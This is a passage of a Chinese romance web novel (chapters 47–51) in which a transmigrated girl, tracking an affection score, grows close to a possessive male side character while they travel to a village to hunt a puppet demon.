虽然池镜花知道自己接近他的目的不纯,但她都这样努力了,几次三番地亲他满足他,愣是没让他喜欢上自己。 想到这,池镜花脑子一热,挺直腰背,双手捧住他的脸颊,抬起头,垂落的发丝拂过他的指尖,深吸一口花香,报复性地亲了他一下。 不是唇瓣,而是唇角。 只如蜻蜓点水般掠过,没有一丝一毫地留恋。 事毕,池镜花放下双手,仰起脸,望着他得意地笑。 “怎么样?这样有没有意思!” 少女留下的余温尚未完全散去,奚逢秋以指腹轻按住唇角,迫切想要留住那一抹甜腻和温热。 但还是从他指尖消失溜走。 他并没有得到满足。 少年微微垂眸凝望着池镜花,眼底闪烁着古怪的光芒。 “为何跟以前不一样了?为何要亲这里?” 他疑惑的神情似乎在质问池镜花为何不与他交换呼吸和津液一般。 换句话说,他应当是想她亲他的。 想明白这点的池镜花往旁边稍微挪了半步,刻意与他拉开些距离,微微垂下脑袋,盯着快要熄灭的火堆,顺手往里放了根干树枝,让火烧得更旺。 火光骤起,照亮少女白皙的脸庞,她在心里默默组织好语言,转过头,神色异常平静坚定。 “奚逢秋,我不会亲你的。” 更为准确地来说,她不会再做出亲吻他唇瓣那样过分亲密的行为。 “为什么?” 他眉目间始终保持温柔恬淡的微笑,轻轻歪了下脑袋,语气无辜得很,似是有意卸下她的防备心,引导说出真心话。 “可以告诉我原因吗?” 原因…… 其实池镜花并非反感与他接吻,相反,还挺喜欢与他亲密接吻时而产生的酥酥麻麻的滋味,虽然不知道怎么回事,但绝非他口中的有趣。 而且跟牵手拥抱这种一学就会的事情不一样,奚逢秋大概率压根没与旁人接触过一点都不懂,而池镜花的经验都是从影视作品和小说中学来的。 可现实和艺术差距太大。 池镜花读书时在小学初中都跳过级,所以脑子应该挺好用的,却唯独在这些事情上笨拙得要命,不管她怎么尝试,都像是小学生过家家。 脸都丢尽了。 而且,除去这次亲了他的唇角,池镜花记得自己拢共还亲过他三次,除了第二次是为了安抚他的情绪,第一次亲他时,好感度明显上升10点,第三次却没用。 如果真是因为亲多了而无法增加好感度,那就没有必要费那个事了。 正好她也学不会。 池镜花慢慢低下头,实话实说,以微弱的声音逐渐盖过周围的风声和其他。 “因为很累,而且我也不会,亲不好。” 意想不到的回答。 但奚逢秋记得池镜花说过她确实在学什么,至于是什么,他也不清楚,可几次亲吻给他的确实不大一样,唯有一次比一次兴奋愉快是真的。 少年眼眸低垂,只能望着池镜花在火光下微卷的浓密长睫,不知想起什么,他唇畔微扬,眉眼间漾起个温柔似水的笑。 “别人都是怎样亲的?” 池镜花老实巴交地摇头。 “不知道,没跟别人亲过,我只亲过你一个人。” 她的声音越说越小,说到最后恨不得钻进地洞里,但是不知为何,奚逢秋非要抓着亲来亲去的话题探讨个没完。 池镜花几次主动献吻本就羞耻,火光的映照下脸颊更显通红,她不想再继续该话题,索性说完就往地上一倒,毫不嫌弃地睡在落叶堆中,完全背对着他。 身后的乌发散落一地,少女双腿蜷曲着,身体蜷成一团。 “好了,我要睡觉了。” 话音落下,四周果然只剩杂音和自己的心跳声。 池镜花睁着眼睛,没什么睡意,手里抓着馒头,每次只抠出一点往嘴巴里送。 味同嚼蜡。 不好吃。 静默了半分钟,仿佛像过去半个世纪那么长。 他不说话以后,池镜花的心率终于逐渐恢复正常,可是长久的寂静反而令她浑身不自在。 终于,忍无可忍。 她利落翻身坐起,一言不发地单手搂住他的脖子,强行将人按倒在地。 过程意外地顺利,以至于池镜花怀疑或许在她发出动静的那一刻,奚逢秋就已经猜到自己要做什么。 两人同时倒地的瞬间,身下落叶飞溅,池镜花的耳旁除了响起枝叶被压而发出的清脆声,还有一声极轻的笑,贴着她的耳廓,钻入她的耳蜗,无意间再次挑动她的心脏和神经。 这无疑更加证实她的猜测。 但是没关系,知道就知道吧,总没有直接亲他那样羞耻。 池镜花紧紧抱住他,脸颊紧贴着他的心口,只能听见彼此逐渐趋于一致的心跳声。 紧接着,耳垂传来一阵凉意。 是奚逢秋探出微凉的指尖轻抚过她的耳垂,将散落的乌发轻轻别至耳后,露出少女姣好明媚的脸庞。 好到离谱。 池镜花将脑袋完全埋进他怀里,被他身上的香气所冲昏头脑,迷迷糊糊的,声音听着不仅沉闷,而且有些颤抖。 “奚逢秋,虽然我不太会亲人,但我会一直抱着你的。” ——直到天明。 第48章 第48章为何要停下? 无人经过的树林深处的溪流边上,凄冷月光透过纵横交错的枝叶倾泻而下,火堆燃起的火苗越来越小,簌簌风声一刻也不曾停歇。 可池镜花一点也不觉着冷。 她似乎只能听见两人已经重叠的心跳声,后知后觉他们相拥的姿势有多暧昧。 池镜花默默一点点松开搂着他清瘦腰身的五指,想要稍微往旁边挪点,好给二人中间留点喘息的空间。 正当她偷摸摸进行着自己的计划时,耳边忽然飘来“池镜花”三个字,夹杂着浓烈的香气,轻拂过她的耳廓。 是他在喊自己。 池镜花闻声仰头。 少年微微低头垂眸,显眼的耳铛顺势垂在颈侧一短,深不见底的眼底含着清澈的笑意,声音 听着温温柔柔的。 “你的‘一直’只有这么点时间吗?” “当然不是!” 明白他在说什么的池镜花立即大声反驳。 虽然两人的姿势的确过分亲密,但池镜花还不至于反悔。 她微微睁大眼睛,从树枝缝隙挤进的月光照进她的双眸中,映出明亮璀璨的点点繁星。 “我是怕你又觉得热。” 池镜花实话实说,甚至在心里觉得他忽冷忽热的体质煞是奇怪。 “现在不热。” 奚逢秋神情平静地陈述事实,唇边自始至终都挂着一抹温柔恬淡的笑。 事实上,连他自己也不明白为何有时身体会烫成那样。 他轻轻探出右手,冰凉的指腹轻轻按上她柔软纤弱的后颈,隔着几缕发丝,已能察觉到少女身体所传来的暖意。 好像挺舒服的。 “你可以继续抱我的,就像刚才那样。” 他的一言一行毫不掩饰,就像是在有意引导她抱他一样。 池镜花突然觉得他变得有些黏人了。 尽管如此,池镜花还是一头扑他怀里,双手发力,将人紧紧箍在自己身边。 少女用尽全力的一扑令奚逢秋措手不及,微微一怔回过神来后,他的五指轻轻抚着她的后脑,再也不想让她离开半分。 四周寂静,尽管杂音纷扰,可池镜花似乎听不见别的。 沉默片刻,少女忍不住抬了抬头,散落的乌发从脸颊滑至耳侧。 四目相对,她看见奚逢秋的视线似乎一直停留在自己身上,面上挂着温和的浅笑,叫人猜不透他的心思。 可他实在太好看了。 这么近,还是以相拥的姿势。 池镜花心脏又开始不受控制地狂跳。 下一刻,她主动出击,双手交叠,直接蒙住他的双眼。 眼前突如其来的暗令奚逢秋难以理解。 他轻抬手指,指腹轻轻抚上她的,从少女的手背开始,一路慢悠悠滑过她的肌肤,攀上她的指尖,轻轻勾住了她的食指。 “在做什么?为何要蒙眼?” “睡觉啊。” 池镜花极力忍着指尖的异样,一副理所当然的模样,胡话张口就来。 “我在帮你快速入眠。” 不对,她是因为与他对视时心脏会不受自己的控制,所以才要蒙他的眼睛,这样会好受点。 但她终究有些心虚。 在奚逢秋没有给出任何反应前,池镜花已忍不住催促道:“好了,不要说话了,赶紧睡觉,再不睡觉天都快亮了。” 她虽不清楚现在是何时辰,但他们一定拉扯了很长时间。 闻言,奚逢秋轻轻地笑了声,声音像一片干燥的羽毛在她心间若有似无地扫来扫去。 不知怎地,池镜花忽然有种被他看透一切的感觉。 最后,奚逢秋又乖巧地应了她一声,并没要池镜花放下双手。 四周重归安静,渐渐平静下来的池镜花已能察觉到其他动静,冷风裹着燥热的火苗划过她的脸颊。 池镜花依旧保持蒙住他双眼的动作,掌心忽然传来一阵痒意,仿佛清晰地感受到奚逢秋的眼睫如蝶翅般微微颤动,轻轻剐蹭她的掌心。 池镜花狠狠咬住下唇瓣,阻止自己发出奇怪的声音或是做出任何逃跑的动作。 好在这种情况并没有持续多久。 在察觉到他的呼吸逐渐趋于平稳后,池镜花松了口气,才慢慢放下双手。 她盯着少年漂亮的眉眼看了几秒,而又心慌地连忙别开视线,垂头望向他的腰间,似在郑重思考什么。 与衣裳的浅白色不同,奚逢秋的领口和腰带皆为墨色,池镜花打量半晌,眼睫一颤,终于下定决心。 为履行自己的承诺,池镜花慢慢地探出手,轻轻地,重新搂住他的腰身,主动将脑袋埋进他怀里,吸了两口令她安心的花香,缓缓闭上眼睛,迅速进入梦乡。 什么也毫无察觉了。 奚逢秋是在池镜花睡着以后才缓慢睁开双眼,当低头看见少女毫无防备地猫在他怀里睡觉,平静的眸底深处涌出难以言语的某种情绪。 他不知道这是什么,但已不自觉地喃喃自语,言语间是止不住的满足和愉快。 “奇怪的人。” 如云雾般缥缈的声音没有传进她的耳中。 池镜花又做梦了,梦到小时候与爷爷奶奶一起一起生活在双水村的陈年往事。 或许是过去太久,连出现在梦里的画面都模糊不清,只有被封在心里的情感始终如一。 再后来……画面一转,她看见了另外一个人。 更为准确地说,是奚逢秋。 他们不知身处何处,窗外春意盎然杨柳依依,依稀可以见到穿过门口的溪流。 外面没有一个路人,奚逢秋坐在离窗户最近的椅子上,背对着窗户,日光投在他身上,如同渡上一层浅薄的金色,身后垂落的发丝在微风中轻晃。 池镜花此刻正衣衫不整地跨坐在他腿上,纤弱的十指轻轻搭在他的肩上。 少年衣领被微微扯开,耳尖通红,眼底氤氲着暧昧的雾气,微微仰着头不停喘息,唇瓣红得滴血,隐隐有些许残留的水迹,在金色日光的照射下格外色|情。 池镜花摸了摸自己的发麻发烫的湿润唇瓣,立即明白刚才发生过什么。 因为是梦,而且是不完整的梦,任由池镜花绞尽脑汁地回想,也不知道自己究竟是怎样亲的,还以这样不雅的姿势坐在他身上,把他亲得这样动情和凌乱。 似是察觉到她极其不安的情绪波动,梦中的奚逢秋微微垂眸看向压制住自己的少女,被日光照到的耳铛在她眼前轻晃一下,眼底弥漫的情欲尚未完全消散。 “为何要这样看着我?” 少年清冽动听的嗓音立即拉回池镜花游荡的神识。 她一低头,视线奚逢秋漂亮流畅的锁骨,下意识地偏过头,抬起手,准备用衣袖替他擦拭唇角的痕迹。 “我、我帮你擦擦。” 还没等她帮他清理唇角的津液,奚逢秋先一步按住她的后颈,试图让她与自己对视,不要躲避自己的视线。 池镜花一个不注意又靠近半分,幸好反应过来后用双手轻抵住他的肩膀,才没完全砸进他的怀里。 冰凉的衣袖不知何时已滑至小臂,露出少女的微微泛红的肌肤,春风顺着窗棂闯入,钻进她的衣袖口,撩过身体四处,带出些许滚烫之意。 奚逢秋微微笑着抬手,动作温柔地替她挑开黏在脸颊一侧湿漉漉的发丝,将其轻轻别至耳后,随后以指腹轻轻摩挲她的唇瓣,试图替她擦去上面的水迹。 “你不喜欢与我做这些事情了吗?” 太过天真的口吻,令池镜花瞬间松懈下来。 她不明所以地眨眼,看着他的张张合合的唇瓣,脑海闪过他们亲吻时的亲密画面,下一刻,嘴巴已替她做出回答。 “我没有啊。” 话音落地的瞬间,池镜花忽然感觉奚逢秋好像跟现实里的不太一样。 难道说,这就是男配被攻略后的样子? 或者,更为准确地说,是她想象出来的样子。 池镜花一时哑口无言地愣住。 她在考虑要不要打自己一巴掌快速清醒,可却又忍不住想知道除了这些,自己到底还能做出怎样离谱的梦来。 就在此刻,奚逢秋忽然单手覆上她的脸颊,如同最亲密的爱人般温柔地轻抚着,慢慢地,五指已插|进她的耳后侧的发丝里,完全将她锁在自己身边。 “又在骗我吗?” 在他轻声吐出“骗”字时,池镜花下意识以为他又要对她展露杀意,但是没有,他只是面带最为温和的笑容,眉宇间略带病态的偏执。 池镜花莫名为此心疼,忙不迭地澄清解释:“没有骗你,真的没骗你,我发誓。” 察觉到少女所流露出的真情实感,奚逢秋的情绪稍微得以平复,尽管如此,他并没有得到满足。 因为他们二人之间,还没有做到最后一步。 奚逢秋猝然靠近,鼻尖不动声色地抵着她的,目光一错不错地盯着盯着她的眼睛,感受到少女急促不稳的呼吸,遵循本能地去追逐她身上的气息。 “那为何要停下?” 他的声音很低,氤氲着水气的睫羽缓缓垂下,身体不知为何也在微微发颤,指下用了些力气,似乎是想要将她按进他的身体里。 池镜花不由自主地攥紧他的衣裳,身体紧张绷直,完全不明白他究竟要做什么。 “你说过 喜欢的……” 少年视线一晃,盯向身下被少女压住的而出现褶皱的衣裳,指腹微动,仍旧不知疲倦地探索她肌肤温度,想要掌握她的全部的气息。 “池镜花,你说过喜欢的……” 周遭的一切都像是条蟒蛇将她死死绞住,一点点吞噬她的生存环境,池镜花不由自主地打了个冷颤。 此时,她的耳畔突然响起一阵窸窸窣窣古怪声音。 是从奚逢秋脚边传来的。 池镜花还没来得及低头,奚逢秋骤然抓住她的手腕,贪婪地轻轻摩挲几下,耐心引导她覆上自己完好的腰带。 什么意思已不言而喻。 偏偏奚逢秋一双饱含情欲的双眸却轻轻弯了弯,露出天真清澈的笑容,将他的行为和其他完全割裂开来。 “不是吗?” 第49章 第49章我想跟你变成那种关系!…… 翌日清晨,阴霾不再,天气转好,温暖的日光穿过头顶稀疏的树枝洒在山间,溪水泛着金色的光,偶有一片落叶飘零着盖在池镜花的衣上。 少女窝在一堆枯枝落叶上蜷缩着身体,微微侧着的白皙脸颊落下几道模糊的光斑,睫羽止不住颤动,似在做梦。 最后梦碎猝然惊醒。 池镜花神色僵直地眨了眨眼睛,待逐渐适应光线后,双手撑地从落叶堆里缓缓爬起,又慢慢摊开五指。 空无一物。 也就是说,那只是一场荒唐的梦。 念及此,池镜花偷偷松口气,抬起眼眸,看见早她一步苏醒的奚逢秋正背对着自己站在河边,似在专心观看白鹤愉快地吃着自助餐。 池镜花愣愣地盯着他看,差点忘记眨眼。 许是敏锐察觉到她过分赤|裸的目光,少年发丝轻晃,稍稍偏过头,耳铛划过脸颊,在颈间落下一小片不规则的阴影,他唇角微扬,心情看上去格外不错。 “怎么了?” 声音随着飘进池镜花耳中,她顿时呼吸一滞,脑海中不断闪回梦境画面,心跳又开始不争气地加速。 她没有回答。 为了使自己快速恢复正常,池镜花连头发和衣服都没来得及整理,立刻跑到河边,蹲下身子,捧了把水拍在自己的脸颊。 冰凉的溪水从毛孔渗入内里,叫她禁不住打了个冷颤。 如此循环几次,池镜花总算冷静下来。 少女微微侧着头,半仰着脸,迎着金色的日光,沾水的发丝湿漉漉地黏在耳侧,脸颊挂着几滴透亮的水珠,湿润的眼睫上下眨了几下,看向站在身侧不远处奚逢秋,神情无比认真。 “奚逢秋,你昨晚有梦到我吗?” 少年浅色衣袂在风中轻扬,微微垂眸时凝视她的目光充满疑惑。 “为何要这样问?” 因为池镜花梦到他了啊,还是难以言齿的春|梦,所以自然希望他也可以梦见自己。 但看样子是没有。 “没什么。” 池镜花失望地垂下脑袋,指尖轻捏了下自己的脸颊,避免因情绪过度外露而被他看出什么。 至于为什么会做这个梦…… 她觉着,肯定是因为他们睡前聊的“亲吻”话题,所以给她种下某种潜意识,才会做出这么离谱的梦来。 啊啊啊啊她以后再也不会跟他说这么多了! 思考间,池镜花恍惚一阵清凉的阴影笼罩住她,后颈的发丝似传来一阵异样的感觉。 她转过头,看见奚逢秋指尖捻着一片从她身上摘下的落叶。 少年微微笑着探出指尖,在离她半步之遥时摊开骨节分明的五指,露出躺在掌心里的落叶,是为了让她看得更仔细些。 “要帮忙吗?” “嗯,要。” 池镜花毫不犹豫地点头,拉住他的手腕,把人拖至离溪流稍微远点的地方,继而背对着他,垂着头,低声请求。 “后面应该还沾上了很多落叶,麻烦你帮我一并摘下来吧。” 当少女背对着他而毫无防备地向他露出纤弱白嫩的后颈时,奚逢秋似被什么给取悦到了似的轻笑一声,浮在眼底的金色光影不停颤动。 他的声音伴随着清晨微风一道拂过池镜花的面颊,他下意识以为是自己做错了什么,正要转身回头时,后颈突然传来一阵凉意。 是他在帮她整理头发上的落叶。 池镜花索性不说话了。 因为看不见人,所以当指尖若有似无地游走在身体四处时的感觉才会更为强烈。 池镜花几乎是攥紧衣裙,咬紧牙关强忍这股异样。 “嗯,可以了。” 不知过去多久,当奚逢秋为她取下沾在发顶上的最后一片落叶的同时,耳边响起少年熟悉的声音。 池镜花如释重负般的长舒口气,转过身时随手理了理头发,又抬着头,湿润的长睫下眼眸亮晶晶的。 “那我们接着赶路吧。” 思考一瞬,她抬手指着右手边的小道,自信满满地笑了笑。 “我知道,是那边对不对?” 随着少女话语掷地,白鹤眨着圆溜的眼睛,忽地仰头振翅飞起,朝着完全相反的方向飞去,用实际行动证明路在何方。 奚逢秋静静望着她,眉眼间划开个温润的笑,映在冷白颈侧的影子也在微微摇曳。 “看来你又猜错了。” “是是是,我错了。” 池镜花忙不迭地点着头诚实认错,接着,趁他不备,不动声色地拉过他的手指,牢牢抓在手心,借此扳回一成。 奚逢秋毫不反抗,反而是唇角扬着愉快的笑。 几次下来,他已学会愈发主动地指尖探进她的指缝,直到与她十指相扣,中间再无多余的缝隙,能够清晰感受到少女脉搏的颤动和频率。 这种感觉很奇妙。 “池镜花。” 正在跟随白鹤身影赶路的池镜花听见他毫无来由地唤她一声,下意识地扭头,不解地“嗯?”了一声。 奚逢秋垂眸,睫羽半遮眼眸,所释放出的情绪不大明确,只一错不错盯着二人紧紧相握的手指,不大安分地轻捏了下她的指骨。 “慢点走,不要着急。” 池镜花哭笑不得地给出解释:“可是若是再慢下去赶不到邑水村的话,我们今晚又得在外面过夜了。” “原来是这样。” 奚逢秋轻轻应了声,此后再也没有提别的要求。 过分安静更显反常,令池镜花忍不住回头看他一眼。 影影绰绰的枝叶光斑流淌在少年衣间,时而滑过他苍白如雪的面颊,在阳光下仿佛有了一丝生机,蓝紫色的瞳孔中始终含着一抹淡淡的笑。 举止行为温文尔雅,很容易让人误会他本就如此,可浑身上下却偏生有股说不出来的平静疯感,就好像……完全不在乎任何,随时都可以死去的样子! 池镜花被自己突然冒出的想法吓了一大跳,几乎是心跳加速,本能地想要抽回手臂,不想甫一动弹,奚逢秋指下的力气陡然增加,完全锢住她的手指,阻止她的逃离。 “方才是要做什么?” 他在看她,瞳孔微微转动,视线一错不错地盯着她,如画的眉眼间溢出淡淡困惑。 小心思被敏感察觉,池镜花尴尬地无所适从,正要苦思冥想个借口,幸得白鹤停在前头不远处,她抬头一看,远处有个古老的村庄。 此时接近中午,从山下往下看,家家户户的烟囱都飘出浅灰色的袅袅烟火气,像是被云雾抱在怀里的一座世外桃源。 池镜花情绪激动地指着村落,“看,邑水村到了!” 话题本已被她顺利带跑偏,却又被奚逢秋给硬生生地扳回来。 他极轻地“嗯”了一声,渐渐松动施加在池镜花指尖的力气,低垂的眉眼蕴着数不尽极致偏执的古怪温柔,声音极为轻缓。 “我还以为你不想牵我了。” 池镜花慢慢睁大眼睛,极力摆动另一只手,“没有的事!绝对不会!” 方才只是她联想到死亡话题时的条件反射,平心而论,她真的很喜欢与男配牵手,至于原因……也许真的很安心。 池镜花深吸一口气,决定趁此机会,将压在心中许久的心里话将全盘托出。 “奚逢秋,我说过,我很在乎很在乎很在乎你,不管你信不信,这就是我的真心话,所以,我会想尽一切办法让你开心。” “若是牵手能让你开心,只要你需要,我就会一直牵着你的手,若是拥抱能让你高兴,我就会一直抱着你,若是亲……嗯,这个暂时不行,但是牵手绝对不是问题,所以你完全不用担心我会松开你,好吗?” 池镜花的想法很简单。 既然奚逢秋已不会再动不动就要杀她,有时候甚至会让她觉得无比安心,那她也不应该让对方一直陷入种若即若离毫无安全感的情绪下。 虽然她的目的是攻略他,但像这样玩弄他的情感并不好,哪怕他并没有明确表示喜欢与她牵手,哪怕他只是觉得“舒服”。 这没关系。 反正她从来也不觉得让他“舒服”有什么不好。 池镜花慷慨激昂地一通陈述,不想苦等半晌,奚逢秋却没什么太大反应。 他微微低着脑袋,低垂的眼睫遮住眼眸,根本看不清他的情绪如何,微风轻轻,将枝叶投下的影子从他的脸颊刮至耳侧,鲜艳的耳铛跟着晃了一下。 唯独他看上去神色依旧平静。 池镜花双颊一烫,本是真情实感地对他表明心迹,见他这般,突然只觉得尴尬,很想找个地洞钻进去,下半辈子就躲在里面再也不出来。 就在她胡思乱想之际,奚逢秋忽而睫羽一颤,抬起蓝紫色的眸子,轻轻歪了歪头,漂亮的眉眼间烙出个深深的笑。 “又是因为想跟我处好关系吗?” 池镜花思忖半分钟,原本还算清楚的脑子骤然变得跟浆糊一样粘稠,已无法正常思考。 她不知不觉地往前一步,在离他仅十公分的距离,仰起脸,发丝绕过颈侧垂在身后,在风中飞舞摆动,澄清的双眸倒映出少年的绝绝五官,遵循本能张了张口。 “我昨晚梦见你了,嗯……应该不能算是什么好梦。” “梦啊……” 他继续笑着,双瞳始终定在少女的脸颊,语调微微上扬,分明什么也没说,可又好像是在诉说“梦境都是虚幻的”一般。 不知他还会不会说出别的什么,池镜花管不了那么多,她抢在他前头,一股脑地丢下自己想说的一切。 “我知道,梦里的一切都不能做数,但是,梦里我们是一直在一起的,而且是很亲密的那种关系,所以,奚逢秋,我不只想跟你处好关系,我更想跟你变成那种关系!” 第50章 第50章那就看我吧。 点点日光直直倾泻而下,流连在一白一蓝的二人衣间,通往山下的小道早已铺上一层厚厚的枯黄落叶,被风卷起飘向远处又轻轻落下。 尽管下山的路要好走许多,但因他们初来乍到,对附近完全不熟,所以,光向村民打听村长的住处已花费不少时间。 当他们找到村长住处时,最先注意到的是流经门口的一条清澈见底的溪流,远远地,从山中林间探出头来。 许是为了方便村民出行,还人为搬了几块石头放在水里。 池镜花轻轻推开竹篱笆的大门,院内有一对中年夫妻正在弯腰收拾自家的菜园子,粗布麻衣上沾上不少泥点子。 听见院内声音,两人先后疑惑抬头。 怕他二人误会,池镜花立马主动说明来意,并取出悬赏令以证身份。 “二位原来是仙师啊。” 男人一脸老实相,在接过悬赏令确认两人身份无误后,又将悬赏令还给池镜花,同时表明自己姓吴,方才与他一起除草的是他夫人。 吴夫人看着年岁要比吴村长大不少,一见到两人,便一直局促地用衣裙使劲擦拭手指,试图掩盖手上的泥泞。 “实在对不住,我们不知道二位今天会来……” 看村长夫妇的表现,应当是对这件事十分重视。 一时间,池镜花十分不好意思地连忙摆手,“没事没事,是我们唐突了。” 吴夫人一双眼睛格外漂亮,此刻笑得眯成了一条缝。 “哪能这么说,来,二位快快请进。” 正当四人准备进屋时,门口又传来轻微动静。 池镜花回过头。 日光照进瞳孔,她看见门外站着两名身着黑衣长相极为相似青年男子,就连脸上的伤疤位置都大差不差,阳光明媚,他们却用两双浑浊灰暗的瞳孔盯着他们。 吴村长立马皱眉,冲他们嫌弃地摆手大喊:“你们俩在这做什么?都什么时辰了?还不赶紧回家!” 两人不由对视一眼,交换了个眼神,最后再次看一眼四人,一言不发地悻悻离去。 在与他们对上视线的瞬间,奚逢秋敏锐察觉到他们对自己所表露出刻意压制却无法藏匿的浓烈杀意,不禁弯了弯唇角。 虽然不明白为何初次见面这两人就迫不及待地想要他死,但这种情况以前并不少见,这时候,他会静等,等待两人主动找他。 察觉到身旁之人的情绪变化,池镜花下意识转头,迫切想要知道他身上发生了何事。 四目相撞,池镜花本能眨了下眼睛,只看见他眼底浮现的一抹平静而疯狂的笑意。 只是没等她细问,吴夫人温温柔柔略带歉意的声音便在耳边响起。 “实在对不住,刚才那两个人是我们村里的,其实他们原是三胞胎,但是大哥在前段时间被妖怪所害。” “虽然很可怜,不过他们兄弟几个平日游手好闲,偷鸡摸狗的事情没少干,所以二位若是碰到他们,还是避开点比较好。” 池镜花心不在焉地点头,思绪尚未从刚才的事情上完全抽离。 直到吴夫人招呼他们坐下,又分别给二人上了杯热茶,池镜花才回过神。 她捧着墨色的瓷杯,盯着杯中竖立的茶叶,低声道了句“谢谢”。 正要喝水,唇瓣尚未碰到杯沿,耳边倏忽响起奚逢秋的声音。 “池镜花……” 少年轻轻慢慢的声音如一根细小的绒毛荡过她的心间。 池镜花不解抬头,先是对上男配含笑的双眸,停顿几秒,视线慢慢移至他的杯盏,心中已有结论。 她熟练将二人面前的茶水迅速调换一下,为让奚逢秋安心,特地捧着本属于他的那杯轻抿了一小口,结果没注意温度太高,差点烫伤舌尖。 望着少女微微蹙眉眼里似闪着泪花的模样,坐在她身侧的奚逢秋眉眼愈发温柔,不经意地唇畔微扬,蓦然抬手替她捋着被大风吹乱的头发。 “慢一点。” 这都要怪谁啊! 池镜花暂时不是很想理会这个癖好古怪的疯子。 她默不作声地从他手里抽回自己的发丝,随便理了下头发。 奚逢秋轻轻垂眸,有些遗憾地望着掌心,就好像从未存在过的一样。 池镜花对此毫无察觉,她假装咳嗽两声,学着记忆里赵星澜古板的模样,一本正经地道:“村长,夫人,不妨先跟我们说说村里究竟发生了什么怪事吧。” 村长夫妇意识回笼后相视一眼,接着娓娓道来。 原来,村里出了一只妖怪。 这妖怪长着傀儡木偶的外表,性格尤为古怪,每逢雨天才会出来作怪,不是杀人就是伤人,村里近一年来已有不少村民遇害,有条件的都搬离这里去了别处。 他们实在没辙,这才集资求助悬赏司给他们发张悬赏令,请人上门除妖。 池镜花听得明白,可有一事始终难以理解。 “这傀儡妖一定要在雨天才会出来吗?” 村长夫妻俩皆肯定点头。 虽然不明白这妖怪为何唯独喜爱雨天作怪,但现在…… 晴空万里! 而且不知道什么时候会下雨。 池镜花望着落在透过窗户斜照地板上金灿灿的阳光,失望地耷拉着脑袋,轻声叹息。 “不是有傩神吗?” 冷不丁地,沉默良久的奚逢秋倏忽开口,虽是与村长夫妇说话,余光却一直随着池镜花颤抖的眼睫而动。 “他不会保佑你们吗?” 不知是不是错觉,当“傩神”二字从男配口中缓慢吐出时,池镜花总有种他在有意提醒自己客栈那晚发生的事情一样。 叫她无意识地握了握杯身。 见状,吴夫人尴尬地笑道:“我们村子穷,没办法给傩神上供,可能是因为这样所以不被庇护吧。” 倒也说得通。 池镜花思索着点头,无意间瞥见模糊地映在奚逢秋浅白衣角的一小簇阳光,突然想起件颇为重要的事。 她双手捧杯,抬起头,神色认真地问道:“那……游神会是什么时候开始?” 吴村长若有所思地回答:“若是我没记错的话,游神会是每年的九月底。” 九月底…… 也就是说,在接下来的十天,最好是可以下场雨引出傀儡妖,这样他们才好顺利与男主汇合,继续前往京师。 可是,雨又不是说下就下。 但她既然已经接了邑水村的悬赏令总不能出尔反尔败坏名声,更何况,她还有奚逢秋一直陪着。 虽然十分钟前她才下定决心不理他,可自穿书以来,他们便一直在一起,池镜花已经习惯他的存在,真的很难做到不跟他说话。 想到这,池镜花不由自主地用力握紧发热发烫的的杯身,偏过头,抿了抿唇,眼神示意他也喝口自己的茶,却又实在忍不住出声提醒。 “你也喝一口。” 没等奚逢秋做出下一步动作,池镜花已急不可耐地低声催促道:“不要问为什么,快一点。” 声音很快消弭于世间,四周静悄悄,似乎只能听见他们的心跳声,几近埋没在一次次起伏不定的呼吸声中。 而后,只见奚逢秋面带温和笑意地朝他伸出一手,缓慢摊开修长漂亮的五指,天真无辜地歪了歪脑袋,耳铛摇曳时,面上露出个湛清的笑。 “可我现在更想要你手里的那杯。” 池镜花毫不迟疑地将自己喝过的那杯递给他,指尖不小心剐蹭到他的皮肤。 “给你,快点喝。” 冰凉的掌心因少女的触碰而徒留一片痒意,可惜转瞬即逝。 奚逢秋瞳孔盯住片刻,慢慢喝了一口茶水。 直到见他喉咙滚动一下,池镜花抑制不住弯了弯眼睛。 虽然攻略进度依旧停在35,可她心里总有种说不出来的满足感。 眼见二人气氛不太对劲,村长夫妇也算是过来人,不想在这碍事,立马找个借口,留给他们独处的时间。 “二位仙师,我们先去做饭,等会儿吃完饭我再给二位安排住处。” 吴夫人说罢,便拉着吴村长一道去厨房忙活。 池镜花后知后觉两人已经走了,躁动的心跳已经逐渐平静。 她掏出跟男主分别前他给自己的锦囊,打开,然后全部倒出,一张张地数数查看。 见池镜花埋头专注于做自己的事情,奚逢秋难免无聊,更何况,这个香囊上有赵星澜的气息,他很是讨厌。 更为准确地说,除了池镜花,他讨厌其他一切活人的气息,还不如纸人来的有意思。 “在做什么?” 池镜花头也不抬,“我在看赵道长给我的符,看看有哪些能用的上。” “你似乎很信任他,是吗?” 察觉到他流露出的情绪不太对劲,池镜花立马停下手中之事,神情坚定而认真,一字一句纠正他话语中的错误。 “不对,我更信任你。” 池镜花对于男主的认识完全建立在原著基础上,可对于男配的情感是在朝夕相处中形成的,二者压根无法相提并论。 她不明白奚逢秋怎会产生这种误会。 奚逢秋神色平静地听她言说,而后慢慢朝着她探出如玉的指尖。 似是料到他要做什么,在还没碰到自己之前,池镜花已主动握住他的手指,让他更快更准掐住自己脖颈。 “你想掐就掐吧。” 经过这些天的相处,虽然池镜花笃定奚逢秋不会杀她,可当冰凉的指尖碰到自己肌肤,仿佛被某种危险而刺激的气息所缠上,瞬间打开她的毛孔,侵入她的血肉,死拥住她的骨骼。 “我不想杀你。” 奚逢秋没用多大力气,指腹缓慢向上移,轻轻抚上她柔软温暖的面颊,一点点别开她落在符咒上的余光,直到自己的身影完全占据她的眼睛。 “我只要你别看那些符咒。” “你不是说我长得好看吗?那就看我吧。” 50-60 第51章 第51章帮帮我。 怕夜里降温,客房被褥单薄,吴夫人又给加了两床被子。 皎皎月光挤进半掩的窗棂,在平坦的地面投以一缕细长的冷白,窗外冷风簌簌,浅灰色的落地帐幔被微风掀开又轻轻飘落。 池镜花躺在床上久久无法入眠。 她单手捏住赵星阑给她的符咒,还在回想白日发生的事情。 他让她只看自己…… 铁定是醋而不自知! 从奚逢秋几次三番的表现来看,池镜花自认为,他应也挺在乎自己的。 而他对她的好感度只有35。 池镜花向系统核对过无数次,好感度没错,就是35。 这个数值,若是放在正常人身上,顶多只能算是关系稍微好点的朋友,但奚逢秋对她却有着不符合数值的占有欲。 可这种占有欲似乎并不能笼统概括为“喜欢”,至少,池镜花没有感受到来自男配对自己明确爱意。 究竟是他们之间的感情不到位还是男配没有意识到不得而知。 但有一件事却很清楚。 因奚逢秋处理情绪情感的方式与旁人不同,哪怕对她抱有这种程度的占有欲,爱恋也仅有35,若是好感度持续提高,只会做出更加偏执疯狂的行为。 ……就像梦里那样? 